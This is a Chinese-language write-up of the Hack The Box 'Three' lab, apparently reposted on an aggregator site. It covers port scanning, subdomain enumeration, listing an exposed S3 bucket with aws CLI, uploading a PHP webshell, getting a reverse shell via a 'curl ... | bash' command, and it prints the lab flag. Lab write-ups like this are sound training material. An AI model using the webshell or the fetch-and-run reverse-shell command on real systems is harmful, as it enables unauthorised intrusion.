当前位置: 首页 > news >正文

HTB:Three[WriteUP]

使用OpenVPN连接并启动机器


1.How many TCP ports are open?

 使用nmap对靶机进行扫描:nmap -sV 10.129.233.85

 可见仅开启了 22、80 共2个端口


2.What is the domain of the email address provided in the "Contact" section of the website? 

直接对靶机进行访问:http://10.129.233.85

在联系方式一栏找到域名:thetoppers.htb


3.In the absence of a DNS server, which Linux file can we use to resolve hostnames to IP addresses in order to be able to access the websites that point to those hostnames?

这是常识题:/etc/hosts


4.Which sub-domain is discovered during further enumeration?

注:这里我根据官方的WP使用gobuster进行子域名枚举没能爆破出来

执行命令:gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://thetoppers.htb

如果Kali没安装selicsts字典,执行命令apt install seclists安装后再执行上述命令即可

官方WP是通过该字典爆破出来的:s3.thetoppers.htb


5.Which service is running on the discovered sub-domain?

将靶机IP写入hosts文件中,令该域名进行DNS本地解析:

echo "10.129.233.85 s3.thetoppers.htb" | sudo tee -a /etc/hosts

使用浏览器访问http://s3.thetoppers.htb

只显示{"status": "running"}字样

结合域名前的s3,通过Google搜索可知这是个Amazon S3服务


6.Which command line utility can be used to interact with the service running on the discovered sub-domain?

要与Amazon S3进行交互,我们可以使用工具awscli

在Kali上使用apt install awscli命令进行安装


7.Which command is used to set up the AWS CLI installation?

安装AWS CLI执行命令:aws configure


8.What is the command used by the above utility to list all of the S3 buckets?

 列出全部存储桶命令:aws s3 ls

但实际上我们这里需要列出 s3.thetoppers.htb 该域的全部存储桶

所需执行命令为:aws --endpoint=http://s3.thetoppers.htb s3 ls

再从指定存储桶中列出所有对象:aws --endpoint=http://s3.thetoppers.htb s3 ls thetoppers.htb


9.This server is configured to run files written in what web scripting language?

 通过存储桶中的对象,我们可以看到index.php文件,所以可以确定该Web脚本语言为php


Submit root flag

考虑到该服务使用PHP进行编写,并且允许我们对该桶进行增删改查

编写Webshell:<?php system($_GET[cmd]); ?>,保存至shell.php并上传至桶中

 接下来尝试用GET方法构造URL中的cmd参数进行命令执行

使用ls命令逐级查找flag的位置,最终在上一级目录找到了flag.txt


 接下来尝试利用webshell进行打反弹shell

本地写一个shell.sh文件来获得一个反弹shell,再使用nc持续监听

接着在shell.sh同目录下启动http.server服务,随便选择开启一个闲置端口

命令:python -m http.server 6666

在靶机Webshell中,通过curl访问本地shell.sh文件进行反弹shell

命令:curl 10.10.16.22:6666/shell.sh|bash

接着http服务端和nc监听端都能收到响应

http.server:

nc:

通过sh回到上一级目录,直接cat flag.txt


 flag:a980d99281a28d638ac68b9bf9453c2b


http://www.mrgr.cn/news/39337.html

相关文章:

  • 如何使用 git 克隆特定 tag 的代码 ?
  • 招联金融内推-2025校招
  • 每日1题-7
  • 自动化测试常见的面试题(超详细整理)
  • 什么是敏捷迭代开发模型
  • 组合逻辑元件与时序逻辑元件
  • 9.29总结
  • 1688客服代码怎么做生成悬浮客服代码阿里巴巴国内站1688平台悬浮特效悬浮代码悬浮客服 1688客服代码怎么做生成器软件代码工具制作客服代码阿里巴巴
  • 【muduo源码分析】「阻塞」「非阻塞」「同步」「异步」
  • 专深与广博的平衡艺术
  • 9.29学习
  • 兼容React的刮刮乐完整代码实现
  • Activity的生命周期分析
  • container_of 函数的分析
  • yolov8/9/10模型在安全帽、安全衣检测中的应用【代码+数据集+python环境+GUI系统】
  • UnityComputeShader Challenge1
  • 算法题题解:分隔链表
  • Java方法+数组介绍
  • WIFI密码默认显示
  • 猫咪掉毛太严重,有什么好办法?不踩雷宠物空气净化器选购、测评指南